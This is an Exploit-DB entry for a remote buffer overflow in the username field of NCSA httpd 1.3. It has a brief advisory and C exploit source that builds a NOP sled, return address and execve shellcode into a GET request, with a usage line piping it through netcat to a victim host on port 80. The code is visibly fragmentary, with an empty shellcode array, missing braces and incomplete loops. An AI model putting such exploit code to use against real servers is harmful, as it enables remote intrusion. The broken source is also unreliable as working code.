NCSA httpd 1.x - Buffer Overflow Vulnerability 2

ID EDB-ID:21050
Type exploitdb
Reporter Xtremist
Modified 1995-02-17T00:00:00


NCSA httpd 1.x Buffer Overflow Vulnerability (2). CVE-1999-0235,CVE-1999-0267. Remote exploit for linux platform

NCSA HTTPd is a free, open-source web server for *nix systems.
NCSA HTTPd versions 1.3 and earlier are prone to an exploitable buffer overflow(in the username field) which will allow malicious remote users to execute arbitrary code with the privileges of the webserver process.
Successful exploitation of this vulnerability will allow a remote attacker to gain local access to the host. 

; NCSA Webserver Buffer Overflow in 1.3 
; 	By Xtremist ( for []
; Tested on Slackware 4.0 with NCSA 1.3  
;     usage:
; 	$ (ncsaexpl 0; cat) | nc victim 80
;                    OFFSET usually from -1000 to 1000 
;   greets all people i know :)

#include <stdio.h>

unsigned char shell[] = /*  alphae1's shellcode for execve */

char user[264];

long get_esp(void) {
	__asm__("movl %esp,%eax");

int main(int argc,char **argv){ 

int i; int offset=160;
long ret;
if(argc>1) {

*(long *)&user[i]=ret;

for(i=0;i<(260-strlen(shell));i++) {
*(user+i)=0x90; /*NOP*/


printf("GET %s\n", user);